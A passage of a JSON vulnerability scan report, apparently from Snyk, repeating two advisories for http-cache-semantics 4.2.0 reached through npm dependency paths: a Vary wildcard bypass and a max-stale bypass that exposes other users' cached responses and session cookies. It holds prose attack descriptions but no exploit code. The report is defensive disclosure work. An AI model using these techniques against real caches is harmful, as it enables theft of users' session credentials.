Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals 